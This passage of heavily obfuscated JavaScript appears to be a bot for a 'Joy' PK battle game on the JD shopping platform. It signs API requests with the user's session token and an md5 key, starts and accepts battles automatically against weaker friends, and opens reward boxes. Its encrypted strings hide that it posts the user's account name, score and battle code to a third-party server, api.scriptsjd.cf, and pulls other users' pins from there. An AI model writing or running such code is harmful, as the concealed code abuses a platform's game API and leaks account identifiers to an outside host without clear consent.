_0x11854d='shift',_0x202789='push';if(_0x37447f<_0x3bda6f){while(--_0x3bda6f){_0xea4784=_0xb2513c[_0x11854d]();if(_0x37447f===_0x3bda6f){_0x37447f=_0xea4784;_0x1c2f2=_0xb2513c[_0x2227f7+'p']();}else if(_0x37447f&&_0x1c2f2['replace'](/[KVMUOzbulpByQprB=]/g,'')===_0x37447f){_0xb2513c[_0x202789](_0xea4784);}}_0xb2513c[_0x202789](_0xb2513c[_0x11854d]());}return 0x95c14;};return _0x20a381(++_0x346821,_0x19a58d)>>_0x346821^_0x19a58d;}(_0x5d80,0xb0,0xb000));var _0x39a3=function(_0x3cf6ea,_0xbe120){_0x3cf6ea=~~'0x'['concat'](_0x3cf6ea);var _0x151358=_0x5d80[_0x3cf6ea];if(_0x39a3['TbMNIE']===undefined){(function(){var _0x4b8854;try{var _0xd6c356=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x4b8854=_0xd6c356();}catch(_0x3e2d99){_0x4b8854=window;}var _0x3a5695='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4b8854['atob']||(_0x4b8854['atob']=function(_0x4333bf){var _0x524477=String(_0x4333bf)['replace'](/=+$/,'');for(var _0x3e3aa7=0x0,_0x1b711c,_0x25b2f7,_0x501ca5=0x0,_0x2d5353='';_0x25b2f7=_0x524477['charAt'](_0x501ca5++);~_0x25b2f7&&(_0x1b711c=_0x3e3aa7%0x4?_0x1b711c*0x40+_0x25b2f7:_0x25b2f7,_0x3e3aa7++%0x4)?_0x2d5353+=String['fromCharCode'](0xff&_0x1b711c>>(-0x2*_0x3e3aa7&0x6)):0x0){_0x25b2f7=_0x3a5695['indexOf'](_0x25b2f7);}return _0x2d5353;});}());var _0x3efe5a=function(_0x4e46a,_0xbe120){var _0x18d04f=[],_0x5aae9d=0x0,_0x34a066,_0x3ab5ac='',_0x49d258='';_0x4e46a=atob(_0x4e46a);for(var _0x581154=0x0,_0x22feb7=_0x4e46a['length'];_0x581154<_0x22feb7;_0x581154++){_0x49d258+='%'+('00'+_0x4e46a['charCodeAt'](_0x581154)['toString'](0x10))['slice'](-0x2);}_0x4e46a=decodeURIComponent(_0x49d258);for(var _0x5c0ad8=0x0;_0x5c0ad8<0x100;_0x5c0ad8++){_0x18d04f[_0x5c0ad8]=_0x5c0ad8;}for(_0x5c0ad8=0x0;_0x5c0ad8<0x100;_0x5c0ad8++){_0x5aae9d=(_0x5aae9d+_0x18d04f[_0x5c0ad8]+_0xbe120['charCodeAt'](_0x5c0ad8%_0xbe120['length']))%0x100;_0x34a066=_0x18d04f[_0x5c0ad8];_0x18d04f[_0x5c0ad8]=_0x18d04f[_0x5aae9d];_0x18d04f[_0x5aae9d]=_0x34a066;}_0x5c0ad8=0x0;_0x5aae9d=0x0;for(var _0x3f2704=0x0;_0x3f2704<_0x4e46a['length'];_0x3f2704++){_0x5c0ad8=(_0x5c0ad8+0x1)%0x100;_0x5aae9d=(_0x5aae9d+_0x18d04f[_0x5c0ad8])%0x100;_0x34a066=_0x18d04f[_0x5c0ad8];_0x18d04f[_0x5c0ad8]=_0x18d04f[_0x5aae9d];_0x18d04f[_0x5aae9d]=_0x34a066;_0x3ab5ac+=String['fromCharCode'](_0x4e46a['charCodeAt'](_0x3f2704)^_0x18d04f[(_0x18d04f[_0x5c0ad8]+_0x18d04f[_0x5aae9d])%0x100]);}return _0x3ab5ac;};_0x39a3['KgfXRV']=_0x3efe5a;_0x39a3['YSHRUc']={};_0x39a3['TbMNIE']=!![];}var _0x48c6a6=_0x39a3['YSHRUc'][_0x3cf6ea];if(_0x48c6a6===undefined){if(_0x39a3['wXBFuV']===undefined){_0x39a3['wXBFuV']=!![];}_0x151358=_0x39a3['KgfXRV'](_0x151358,_0xbe120);_0x39a3['YSHRUc'][_0x3cf6ea]=_0x151358;}else{_0x151358=_0x48c6a6;}return _0x151358;};!function(_0x1d4d09){var _0x2f5518={'VpUAx':function(_0x545607){return _0x545607();},'QPRQP':function(_0x1f0ff5,_0x5d56bd){return _0x1f0ff5+_0x5d56bd;},'cRvLF':_0x39a3('0','Mj7H'),'EtYRP':function(_0x2497af,_0x33028e){return _0x2497af+_0x33028e;},'cQNDX':_0x39a3('1','TV^U'),'QiQKh':function(_0x1c41cb,_0x3ca8e8,_0x1f52e6){return _0x1c41cb(_0x3ca8e8,_0x1f52e6);},'lzEzb':function(_0x4970b8,_0x443d4e){return _0x4970b8(_0x443d4e);},'NmKvX':function(_0x5a87cb,_0x46eaaa,_0x492335){return _0x5a87cb(_0x46eaaa,_0x492335);},'Xcucj':function(_0x21b131,_0x322e0f){return _0x21b131(_0x322e0f);},'SQoAa':function(_0x2c79c9,_0x4c1708){return _0x2c79c9>_0x4c1708;},'Kekhi':function(_0x1e91ac,_0xc53847){return _0x1e91ac-_0xc53847;},'hVKMd':_0x39a3('2','R9Wo'),'yeiFu':function(_0x229ea1,_0x484946){return _0x229ea1<=_0x484946;},'mCmgd':function(_0x46b92d,_0x4f76d3){return _0x46b92d<=_0x4f76d3;},'kkvVC':'所有PK次数已完','HzKqn':function(_0x3af017,_0x3aa322){return _0x3af017>_0x3aa322;},'xuvMH':function(_0x44d7c8,_0x7c7d18){return _0x44d7c8<_0x7c7d18;},'xzNSq':function(_0x566e04,_0x3f20e3){return _0x566e04+_0x3f20e3;},'ARYOv':function(_0x174dd6,_0x16ab58){return _0x174dd6+_0x16ab58;},'xNTza':function(_0x4b1eac,_0x3ba24e){return _0x4b1eac+_0x3ba24e;},'ibhoE':'当前分数:','fVtnm':'\x20PK\x20\x20我的分数:','mmzeK':function(_0x40b312,_0x8f1eeb){return _0x40b312(_0x8f1eeb);},'pTGtD':function(_0x2a18cb,_0x27385e){return _0x2a18cb<_0x27385e;},'VHkoB':'账户分数更高,进行主动PK','pAzOA':function(_0x44b73f,_0x57fa23,_0x44ee78,_0x527c03){return _0x44b73f(_0x57fa23,_0x44ee78,_0x527c03);},'frUfH':_0x39a3('3','I2]9'),'ddWsV':_0x39a3('4','#YBg'),'fnIqL':function(_0x3de281,_0x5cc941){return _0x3de281>_0x5cc941;},'qYsph':function(_0x1cec11,_0x158e51){return _0x1cec11<_0x158e51;},'CTKJv':function(_0x4c3a2f,_0x487c2d){return _0x4c3a2f==_0x487c2d;},'igsKH':function(_0x178a51,_0x413d32){return _0x178a51+_0x413d32;},'aXmPR':function(_0x3943ea,_0x17c85c){return _0x3943ea+_0x17c85c;},'gdtJa':function(_0x3e9f0e,_0x262dac){return _0x3e9f0e+_0x262dac;},'dDiTs':_0x39a3('5',']GlQ'),'oiWbB':function(_0xc81fec,_0x160ca8,_0x40c3c7,_0x112a67,_0x95b46e){return _0xc81fec(_0x160ca8,_0x40c3c7,_0x112a67,_0x95b46e);},'mlMpf':function(_0x4dcff1,_0x252388,_0x12c0d7,_0x47ea7c,_0x44872d){return _0x4dcff1(_0x252388,_0x12c0d7,_0x47ea7c,_0x44872d);},'oBELP':'账户分数更高,进行被动PK','NvOeF':'没有获取到被动邀请码','rvuHw':_0x39a3('6',']ot$'),'HTnLi':'准备检测是否可以开宝箱……','BoYGa':function(_0x5ee296,_0x39d3db){return _0x5ee296<_0x39d3db;},'zfutG':_0x39a3('7','h&F*'),'wJOJT':_0x39a3('8','8D9N'),'aAnyE':'发起挑战','fYTMT':function(_0x385195,_0xe4b7d1,_0x2fcb04,_0x39e8e1,_0x8a17dc){return _0x385195(_0xe4b7d1,_0x2fcb04,_0x39e8e1,_0x8a17dc);},'ukfyC':function(_0x5847f6,_0x3319c6,_0x4186be,_0x2a0ba9){return _0x5847f6(_0x3319c6,_0x4186be,_0x2a0ba9);},'Ssfat':function(_0x2bda60,_0x1b2ea8){return _0x2bda60+_0x1b2ea8;},'uYCQT':_0x39a3('9','w&dc'),'ySdjS':_0x39a3('a','afCd'),'uFzUZ':_0x39a3('b','oFYv'),'FgeCk':function(_0x1d07bd,_0x392969,_0x4d9930,_0x3c50c0){return _0x1d07bd(_0x392969,_0x4d9930,_0x3c50c0);},'DPgfF':_0x39a3('c','#YBg'),'RRrUc':'当前胜场:','lDVqW':function(_0x3cfe8b,_0x5a0d38){return _0x3cfe8b+_0x5a0d38;},'iBhLx':function(_0xb75e40,_0x1ce21c,_0x2b46a7,_0x4acf7f){return _0xb75e40(_0x1ce21c,_0x2b46a7,_0x4acf7f);},'gdWIZ':_0x39a3('d','MRU^'),'VtgHW':_0x39a3('e','E0xB'),'aUkJw':'jdShareRandom','vPqYX':function(_0x5438f7,_0x2eedeb){return _0x5438f7+_0x2eedeb;},'cplTp':'获取分享PK码:','IAMoz':function(_0x17bb1a,_0x444ac6){return _0x17bb1a(_0x444ac6);},'JmSqH':function(_0x567d99,_0x10671f){return _0x567d99(_0x10671f);},'PXXKr':_0x39a3('f','wTes'),'LGkNG':_0x39a3('10','j8%E'),'rFsNI':'api.scriptsjd.cf','rTbKL':_0x39a3('11','IaX&'),'mziLz':_0x39a3('12','8D9N'),'pESnJ':'\x20*/*','lqxNO':_0x39a3('13','E0xB'),'zexzq':function(_0x326028,_0x2b0fa5){return _0x326028(_0x2b0fa5);},'NheOA':function(_0x1566dd,_0x38a4c9){return _0x1566dd+_0x38a4c9;},'lHTMk':function(_0x23fb5d,_0x209730){return _0x23fb5d+_0x209730;},'SFDhB':_0x39a3('14','$($2'),'CGDQv':_0x39a3('15','l7#d'),'bsuvi':function(_0x3766e4,_0x5500f4){return _0x3766e4(_0x5500f4);},'YcMuT':'https://api.scriptsjd.cf/api/JoyScore/GetPin?count=','Qfxkb':_0x39a3('16','oFYv'),'KafRY':_0x39a3('17','oFYv')};async function _0x5c144e(){let _0x41e12d=await _0x2f5518['VpUAx'](getToken);let _0x107bff=[];let _0x427b83=[];console[_0x39a3('18',']ot$')](_0x2f5518[_0x39a3('19',']GlQ')](_0x2f5518[_0x39a3('1a','MRU^')],_0x41e12d));if(_0x41e12d){let _0x530b53;let _0x54afa7=await _0x2f5518[_0x39a3('1b','MRU^')](getPin);if(_0x54afa7['Pin']){console['log'](_0x2f5518['EtYRP']('当前pin(pk码):',_0x54afa7[_0x39a3('1c','Kilg')])+_0x2f5518[_0x39a3('1d','w&dc')]+_0x54afa7[_0x39a3('1e','h&F*')]);}console['log'](_0x39a3('1f','MKRK'));await _0x2f5518[_0x39a3('20','TV^U')](_0x4c239d,APPID,_0x54afa7[_0x39a3('21','MKRK')]);await _0x2f5518[_0x39a3('22','afCd')](_0x227570,APPID,_0x54afa7['Pin']);let _0x3dc059=await _0x2f5518[_0x39a3('23','MRU^')](getUserPkInfo,_0x54afa7['Pin']);let _0x1919fa=await _0x2f5518['NmKvX'](_0x55e179,_0x54afa7[_0x39a3('24','oFYv')],_0x54afa7[_0x39a3('25','#YBg')]);let _0x4b14e6=await _0x2f5518[_0x39a3('26','E0xB')](getScore,_0x54afa7[_0x39a3('27','h&F*')]);let _0x3661b2={'PkPin':_0x54afa7[_0x39a3('28','HY0x')],'PtPin':$[_0x39a3('29','G$mk')],'RandomStr':_0x1919fa,'Score':_0x4b14e6};await _0x2f5518['Xcucj'](_0x2b5121,_0x3661b2);countlaunch=0x0;countreceive=0x0;let _0x3540f8=await _0x359b84($[_0x39a3('29','G$mk')]);if(_0x2f5518[_0x39a3('2a',']YGL')](_0x3540f8,0x0)){countreceive=_0x2f5518[_0x39a3('2b','059U')](_0x3540f8,0x1);countlaunch=0x1;}_0x2f5518[_0x39a3('2c','wTes')](sleep,0x7d0);let _0x44e27c=await _0x260e12(0x28,_0x4b14e6,_0x54afa7['Pin']);console['log'](_0x39a3('2d','^E5j')+_0x44e27c[_0x39a3('2e','#YBg')]+_0x39a3('2f','MRU^'));console['log'](_0x2f5518['hVKMd']+_0x4b14e6);if(_0x2f5518['yeiFu'](_0x3dc059[_0x39a3('30','qh5G')],0x0)&&_0x2f5518[_0x39a3('31','afCd')](_0x3dc059[_0x39a3('32','TV^U')],0x0)){console[_0x39a3('18',']ot$')](_0x2f5518[_0x39a3('33','MRU^')]);return;}console[_0x39a3('34','afCd')](_0x39a3('35','Kilg'));if(_0x2f5518[_0x39a3('36','l]@n')](_0x3dc059[_0x39a3('37','MKRK')],0x0)){_0x530b53=await getFriendPinList(_0x54afa7[_0x39a3('38','G$mk')]);if(_0x2f5518[_0x39a3('39','^E5j')](_0x530b53[_0x39a3('3a','pTdG')],0x0)){let _0xd4620d,_0x51c801;for(let _0x5bba50=0x0;_0x2f5518[_0x39a3('3b',']ot$')](_0x5bba50,_0x530b53[_0x39a3('3c','bQt1')]);_0x5bba50++){_0xd4620d=_0x530b53[_0x5bba50];_0x51c801=await _0x2f5518[_0x39a3('3d','H[b^')](getScore,_0xd4620d);console[_0x39a3('3e','Pe)U')](_0x2f5518[_0x39a3('3f','X*t]')](_0x2f5518['ARYOv'](_0x2f5518[_0x39a3('40','jNjD')](_0x39a3('41','T6b#')+_0xd4620d,_0x2f5518['ibhoE'])+_0x51c801,_0x2f5518['fVtnm']),_0x4b14e6));_0x2f5518['mmzeK'](sleep,0x1f4);if(_0x2f5518[_0x39a3('42','$($2')](_0x51c801,_0x4b14e6)){if(_0x2f5518['pTGtD'](countlaunch,_0x3dc059['leftLunchPkNum'])){_0x107bff[_0x39a3('43','Doo9')](_0xd4620d);console['log'](_0x2f5518[_0x39a3('44','wTes')]);await _0x2f5518['pAzOA'](_0x6c8870,_0xd4620d,_0x54afa7['Pin'],_0x54afa7['lkToken']);}else{break;}}else{continue;}}}else{console[_0x39a3('45',']YGL')]('没有获取到好友');}}else{console['log'](_0x2f5518['frUfH']);}console['log'](_0x2f5518[_0x39a3('46','Pe)U')]);_0x3dc059=await _0x2f5518[_0x39a3('47','HY0x')](getUserPkInfo,_0x54afa7['Pin']);if(_0x2f5518[_0x39a3('48','oa#(')](_0x3dc059[_0x39a3('49','8D9N')]-countreceive,0x0)){if(_0x44e27c){for(let _0x2d7585=0x0;_0x2f5518[_0x39a3('4a','059U')](_0x2d7585,_0x44e27c['length']);_0x2d7585++){let _0xd4620d=_0x44e27c[_0x2d7585]['PkPin'];let _0x188d65=_0x44e27c[_0x2d7585][_0x39a3('4b','k)5l')];let _0x51c801=_0x44e27c[_0x2d7585][_0x39a3('4c','wTes')];let _0x445d95=0x1;if(_0x107bff[_0x39a3('4d','Ek*S')](_0xd4620d)>-0x1){continue;}if(_0x530b53!=null&&_0x2f5518[_0x39a3('4e','MRU^')](_0x530b53['indexOf'](_0xd4620d),-0x1)){_0x445d95=0x1;}else{_0x445d95=0x2;}_0x2f5518['mmzeK'](sleep,0x3e8);console[_0x39a3('4f','MRU^')](_0x2f5518[_0x39a3('50','^E5j')](_0x2f5518['aXmPR'](_0x2f5518['aXmPR'](_0x2f5518['gdtJa'](_0x2f5518[_0x39a3('51','E0xB')],_0xd4620d),_0x39a3('52',']GlQ')),_0x51c801)+_0x2f5518[_0x39a3('53','oFYv')],_0x4b14e6));if(_0x51c801<_0x4b14e6){if(countreceive<_0x3dc059[_0x39a3('54',')hBz')]){console[_0x39a3('55','FWSU')](_0x39a3('56','Doo9'));await _0x2f5518[_0x39a3('57','DiJ0')](_0x11488f,_0x188d65,_0x54afa7['Pin'],_0x54afa7[_0x39a3('58','oFYv')],_0x445d95);if(bcomplate){sleep(0x7d0);await _0x2f5518['mlMpf'](_0x14f081,_0x188d65,_0x54afa7[_0x39a3('28','HY0x')],_0x54afa7['lkToken'],0x1);}}else{break;}}else{continue;}}console[_0x39a3('59','X*t]')](_0x2f5518[_0x39a3('5a','afCd')]);}else{console[_0x39a3('5b','qh5G')](_0x2f5518['NvOeF']);}}else{console[_0x39a3('5c','$($2')](_0x2f5518['rvuHw']);}if(kaixiang){console['log'](_0x2f5518[_0x39a3('5d','X*t]')]);let _0x1a576a=await _0x2f5518['mmzeK'](getBoxRewardInfo,_0x54afa7['Pin']);if(_0x1a576a['awards']){for(let _0x2290f8=0x0;_0x2f5518[_0x39a3('5e','IaX&')](_0x2290f8,_0x1a576a[_0x39a3('5f','$($2')][_0x39a3('60','qh5G')]);_0x2290f8++){let _0x26b9bc=_0x1a576a['awards'][_0x2290f8];if(_0x26b9bc['received']==0x0){if(_0x1a576a[_0x39a3('61','#^f4')]>=_0x26b9bc[_0x39a3('62','qh5G')]){console[_0x39a3('63','059U')](_0x2f5518['gdtJa'](_0x39a3('64','#^f4'),_0x26b9bc[_0x39a3('65',']ot$')][0x0][_0x39a3('66','@da9')]));await sendBoxReward(_0x26b9bc['id'],_0x54afa7['Pin']);}}}}console['log'](_0x2f5518['zfutG']);}}};function _0x6c8870(_0x54ce49,_0x8de5a9,_0xc8e74d,_0x5c807e=0x2){var _0x3ec926={'akvjL':function(_0x42caf9,_0x42f27d){return _0x2f5518[_0x39a3('67','#^f4')](_0x42caf9,_0x42f27d);},'XaKKa':'主动邀请失败:','OxSAo':function(_0x408c3d,_0x45a23d){return _0x2f5518[_0x39a3('68','bQt1')](_0x408c3d,_0x45a23d);},'CUabs':_0x39a3('69','pTdG'),'JVZAd':function(_0x47300f,_0x3b98c5){return _0x47300f+_0x3b98c5;},'nsiRz':function(_0x5d92c6,_0x146771){return _0x2f5518['mmzeK'](_0x5d92c6,_0x146771);},'ljYEF':_0x2f5518['wJOJT']};console[_0x39a3('6a','aq(4')](_0x2f5518['aAnyE']);var _0x2454a8=new Date()[_0x39a3('6b','MKRK')]();let _0x3b97aa=_0x39a3('6c','l]@n')+_0x54ce49+_0x39a3('6d',']ot$')+_0x5c807e+'}';const _0x453769=_0x2f5518[_0x39a3('6e','l]@n')](_0x181a3e,APPID,md5Key,_0x3b97aa,_0x2454a8);const _0x4e6473=_0x39a3('6f','qh5G')+APPID+'&lkEPin='+_0x8de5a9+'&lkToken='+_0xc8e74d+_0x39a3('70','Doo9')+_0x453769+_0x39a3('71','OoMW')+_0x2454a8;const _0x24a299=_0x2f5518[_0x39a3('72',')hBz')](getPostRequest,'launchBattle',_0x4e6473,_0x3b97aa);return new Promise(_0x63f6af=>{$[_0x39a3('73','Doo9')](_0x24a299,(_0x311241,_0x3fcb1b,_0x578cc4)=>{try{if(_0x578cc4){let _0x4569b0=$['toObj'](_0x578cc4);if(_0x4569b0){_0x4569b0=_0x4569b0[_0x39a3('74','jNjD')];if(_0x4569b0[_0x39a3('75','aq(4')]){if(_0x3ec926[_0x39a3('76','(UzM')](_0x4569b0[_0x39a3('77','059U')],0x2)){console[_0x39a3('78','Ek*S')](_0x3ec926[_0x39a3('79','pTdG')]+_0x4569b0['msg']);}}else{if(_0x4569b0[_0x39a3('7a','Pe)U')]){countlaunch++;console[_0x39a3('59','X*t]')](_0x3ec926[_0x39a3('7b','w&dc')](_0x3ec926[_0x39a3('7c','l7#d')],$[_0x39a3('7d','#YBg')](_0x4569b0)));console[_0x39a3('7e',']GlQ')]('当前胜场:'+_0x4569b0[_0x39a3('7f','G$mk')]['fromWinNum']);}else{console[_0x39a3('80','HY0x')](_0x3ec926[_0x39a3('81','T^71')](_0x39a3('82','IaX&'),$['toStr'](_0x4569b0)));}_0x3ec926['nsiRz'](sleep,0x3e8);}}}else{console[_0x39a3('83','Kilg')](_0x3ec926[_0x39a3('84','j8%E')]+_0x578cc4);}}catch(_0x3fb569){console['log'](_0x3fcb1b);}finally{_0x3ec926[_0x39a3('85','#YBg')](_0x63f6af,_0x578cc4);}});});};function _0x11488f(_0x2c6141,_0x7adb27,_0x1cdeea,_0x5c0a24=0x2){var _0x1fb531={'totpY':function(_0x165b52,_0x6bb507){return _0x2f5518[_0x39a3('86','oa#(')](_0x165b52,_0x6bb507);},'xXTjB':_0x2f5518[_0x39a3('87','^xwk')],'rXrzZ':_0x2f5518['ySdjS'],'bbXvv':_0x2f5518[_0x39a3('88','(UzM')],'kiGLp':function(_0x2ca373,_0x16af86){return _0x2ca373(_0x16af86);}};console[_0x39a3('89','jNjD')](_0x2f5518['uFzUZ']);var _0x54cd02=new Date()[_0x39a3('8a','l]@n')]();let _0x57f247=_0x39a3('8b','Ek*S')+_0x2c6141+_0x39a3('8c','(UzM')+_0x5c0a24+'}';const _0x465c5e=_0x181a3e(APPID,md5Key,_0x57f247,_0x54cd02);const _0x40a402='appId='+APPID+_0x39a3('8d','MKRK')+_0x7adb27+_0x39a3('8e','oFYv')+_0x1cdeea+_0x39a3('8f','oa#(')+_0x465c5e+'&t='+_0x54cd02;const _0x5aa5c2=_0x2f5518[_0x39a3('90','R9Wo')](getPostRequest,_0x2f5518[_0x39a3('91','Mj7H')],_0x40a402,_0x57f247);return new Promise(_0x4206cb=>{$[_0x39a3('92','OoMW')](_0x5aa5c2,(_0x274b24,_0x2312a6,_0x22a7b4)=>{try{if(_0x22a7b4){let _0x41b607=$[_0x39a3('93','@da9')](_0x22a7b4);if(_0x41b607){_0x41b607=_0x41b607[_0x39a3('94','#YBg')];if(_0x41b607[_0x39a3('95','Kilg')]){if(_0x41b607[_0x39a3('96','IaX&')]>0x2){console['log'](_0x1fb531[_0x39a3('97','$($2')](_0x1fb531['xXTjB'],_0x41b607['msg']));bcomplate=![];}}else{if(_0x41b607[_0x39a3('98','MRU^')]){countreceive++;console[_0x39a3('99','I2]9')](_0x1fb531[_0x39a3('9a','Pe)U')]('被动邀请成功返回结果:',$[_0x39a3('9b','wTes')](_0x41b607)));}else{bcomplate=!![];console[_0x39a3('9c','MKRK')](_0x1fb531['rXrzZ']+$['toStr'](_0x41b607));}}}}else{bcomplate=![];console[_0x39a3('5b','qh5G')](_0x1fb531['bbXvv']+_0x22a7b4);}}catch(_0x543cec){console[_0x39a3('55','FWSU')](_0x2312a6);}finally{_0x1fb531[_0x39a3('9d','pTdG')](_0x4206cb,_0x22a7b4);}});});};function _0x14f081(_0x3f000c,_0x2ca01f,_0x4d1bc0,_0x5cfc98){var _0xa254e7={'CvrmI':_0x2f5518['RRrUc'],'MZmil':function(_0x52cd54,_0x15a921){return _0x2f5518[_0x39a3('9e',']ot$')](_0x52cd54,_0x15a921);},'VudCa':function(_0x8ac35,_0x10a395){return _0x2f5518[_0x39a3('9f','#YBg')](_0x8ac35,_0x10a395);},'Rauit':function(_0x893cfb,_0x3cfc9e,_0x1f8e3f,_0x2d2661,_0xe73bb4){return _0x893cfb(_0x3cfc9e,_0x1f8e3f,_0x2d2661,_0xe73bb4);},'nessh':function(_0x5af046,_0x5cb133,_0x2cca8c,_0x418e9c){return _0x2f5518['iBhLx'](_0x5af046,_0x5cb133,_0x2cca8c,_0x418e9c);},'ovJmP':_0x2f5518['gdWIZ']};console[_0x39a3('a0','pTdG')](_0x2f5518['VtgHW']);return new Promise(_0x1259c0=>{var _0x5603de=new Date()[_0x39a3('a1','jNjD')]();let _0x3d3cfa='{\x22actId\x22:9,\x22randomStr\x22:\x22'+_0x3f000c+'\x22}';const _0x24d8b5=_0xa254e7['Rauit'](_0x181a3e,APPID,md5Key,_0x3d3cfa,_0x5603de);const _0x5dbe78='appId='+APPID+'&lkEPin='+_0x2ca01f+_0x39a3('a2','l7#d')+_0x4d1bc0+_0x39a3('a3','MRU^')+_0x24d8b5+_0x39a3('a4','8D9N')+_0x5603de;const _0x1ca1cc=_0xa254e7[_0x39a3('a5','TV^U')](getPostRequest,_0xa254e7[_0x39a3('a6','wTes')],_0x5dbe78,_0x3d3cfa);$['post'](_0x1ca1cc,(_0x58338a,_0x2e609f,_0x58f180)=>{try{if(_0x58f180){let _0xf5c303=$[_0x39a3('a7','j8%E')](_0x58f180);if(_0xf5c303){_0xf5c303=_0xf5c303[_0x39a3('74','jNjD')];if(_0xf5c303[_0x39a3('a8','T^71')]==0x1){if(_0xf5c303[_0x39a3('a9','HY0x')]){if(_0x5cfc98==0x0){console[_0x39a3('aa','w&dc')](_0xa254e7[_0x39a3('ab','Pe)U')]+_0xf5c303[_0x39a3('ac','#YBg')][_0x39a3('ad','(UzM')]);}else{console[_0x39a3('ae','Mj7H')](_0xa254e7[_0x39a3('af','oa#(')](_0xa254e7[_0x39a3('b0','MKRK')],_0xf5c303[_0x39a3('b1','pTdG')]['toWinNum']));}}countreceive++;}else{console['log'](_0x39a3('b2','OoMW')+$[_0x39a3('b3',')hBz')](_0xf5c303));}}}}catch(_0x562034){console[_0x39a3('18',']ot$')]('PK结果出错'+$[_0x39a3('b4','(UzM')](_0x2e609f));}finally{_0xa254e7[_0x39a3('b5','E0xB')](_0x1259c0,_0x58f180);}});});}function _0x181a3e(_0x227ca4,_0x46d967,_0x4e2bc0,_0xc7db39,_0xb061f1=0x0){let _0x5ab28b;if(_0x2f5518[_0x39a3('b6','k)5l')](_0xb061f1,0x0)){_0x5ab28b=_0x227ca4+'_'+_0x46d967+'_'+_0x4e2bc0+'_'+_0xc7db39;}else{_0x5ab28b=_0x227ca4+'_'+_0x46d967+'__'+_0xc7db39;}return $[_0x39a3('b7','IaX&')](_0x5ab28b);}function _0x55e179(_0x43d803,_0x3a7ff4){var _0x573137={'ctJyq':function(_0x49059d,_0x54311e){return _0x2f5518[_0x39a3('b8','Mj7H')](_0x49059d,_0x54311e);},'jQtLO':_0x2f5518['cplTp'],'OhSRP':function(_0x102964,_0x1f3037){return _0x2f5518[_0x39a3('b9','^E5j')](_0x102964,_0x1f3037);}};return new Promise(_0x5364b9=>{var _0x188905=new Date()['getTime']();const _0x17f4dc=_0x181a3e(APPID,md5Key,'',_0x188905,0x1);const _0x456fb9=_0x39a3('ba','H[b^')+_0x3a7ff4+_0x39a3('bb','e8GA')+APPID+_0x39a3('bc','Ek*S')+_0x43d803+'&sign='+_0x17f4dc+_0x39a3('bd','Doo9')+_0x188905;const _0x316283=_0x2f5518['iBhLx'](getGetRequest,_0x2f5518[_0x39a3('be','059U')],_0x456fb9,0x0);$[_0x39a3('bf','G$mk')](_0x316283,(_0x5b13b8,_0x1b6637,_0x5903e0)=>{let _0x5dc527;try{if(_0x5903e0){_0x5dc527=$[_0x39a3('c0','I2]9')](_0x5903e0);_0x5dc527=_0x5dc527['data'];if(_0x5dc527){console['log'](_0x573137[_0x39a3('c1','T^71')](_0x573137[_0x39a3('c2','$($2')],_0x5dc527));_0x5364b9(_0x5dc527);}}}catch(_0x380c44){console[_0x39a3('c3','T6b#')](_0x1b6637);}finally{_0x573137[_0x39a3('c4','@da9')](_0x5364b9,_0x5dc527);}});});}function _0x4c239d(_0x54e071,_0x1d967a){const _0x4b0b75='actId=9&appId='+_0x54e071+'&lkEPin='+_0x1d967a;const _0x4892fd=getGetRequest(_0x2f5518[_0x39a3('c5','DiJ0')],_0x4b0b75);return new Promise(_0x216432=>{var _0x55a3f4={'FiWfN':function(_0x3e2afc,_0x5651c9){return _0x2f5518[_0x39a3('c6','IaX&')](_0x3e2afc,_0x5651c9);}};$[_0x39a3('c7','E0xB')](_0x4892fd,(_0x584bac,_0x5aac30,_0x36cd44)=>{let _0x4e8b5a=0x0;try{if(_0x36cd44){let _0x1af945=$[_0x39a3('c8','MRU^')](_0x36cd44);if(_0x1af945){_0x4e8b5a=_0x1af945[_0x39a3('c9','E0xB')];}}}catch(_0x4e75c4){console[_0x39a3('45',']YGL')](_0x5aac30);}finally{_0x55a3f4[_0x39a3('ca','bQt1')](_0x216432,_0x4e8b5a);}});});}function _0x227570(_0x5b2705,_0x376656){var _0x325ee1={'skRXP':function(_0x99de80,_0x50974){return _0x2f5518[_0x39a3('cb','#YBg')](_0x99de80,_0x50974);}};const _0x5add96=_0x39a3('cc','w&dc')+_0x5b2705+_0x39a3('8d','MKRK')+_0x376656;const _0x3200cb=getGetRequest(_0x2f5518[_0x39a3('cd','#^f4')],_0x5add96);return new Promise(_0x24409c=>{$[_0x39a3('ce','HY0x')](_0x3200cb,(_0x2f9655,_0x2b4ed6,_0x3e34d3)=>{let _0x9df2f6=0x0;try{if(_0x3e34d3){let _0x463831=$[_0x39a3('cf','h&F*')](_0x3e34d3);if(_0x463831){_0x9df2f6=_0x463831[_0x39a3('d0','059U')];}}}catch(_0x35c096){console[_0x39a3('5b','qh5G')](_0x2b4ed6);}finally{_0x325ee1[_0x39a3('d1','FWSU')](_0x24409c,_0x9df2f6);}});});}function _0x2b5121(_0x1194b2){const _0x120a1d='https://api.scriptsjd.cf/api/JoyScore/Update';const _0x1a4a4f='POST';const _0x3960a6={'Host':_0x2f5518[_0x39a3('d2','Pe)U')],'Content-Type':_0x2f5518['rTbKL'],'Connection':_0x2f5518[_0x39a3('d3','T6b#')],'Accept':_0x2f5518['pESnJ'],'User-Agent':_0x2f5518[_0x39a3('d4',']GlQ')],'Accept-Language':_0x39a3('d5','afCd')};let _0x5eb6a9={'url':_0x120a1d,'method':_0x1a4a4f,'headers':_0x3960a6,'body':$[_0x39a3('d6','$($2')](_0x1194b2)};return new Promise(_0x1fe687=>{var _0x1b1c72={'lWNwU':function(_0x4ef49a,_0x3cdb0e){return _0x4ef49a(_0x3cdb0e);}};$[_0x39a3('d7','G$mk')](_0x5eb6a9,(_0x2fbb08,_0x132856,_0x19df50)=>{try{if(_0x19df50){console[_0x39a3('80','HY0x')](_0x39a3('d8','T6b#')+_0x19df50);}}catch(_0x57caad){console[_0x39a3('89','jNjD')](_0x57caad);}finally{_0x1b1c72[_0x39a3('d9',')hBz')](_0x1fe687,_0x19df50);}});});};function _0x359b84(_0x3de791){return new Promise(_0x193be3=>{var _0xea96fb={'EWTOY':function(_0x1cdaf7,_0x303565){return _0x2f5518['zexzq'](_0x1cdaf7,_0x303565);}};let _0x198908=_0x2f5518[_0x39a3('da','059U')](_0x2f5518[_0x39a3('db','bQt1')](_0x2f5518[_0x39a3('dc','OoMW')],'ptpin='),_0x3de791);let 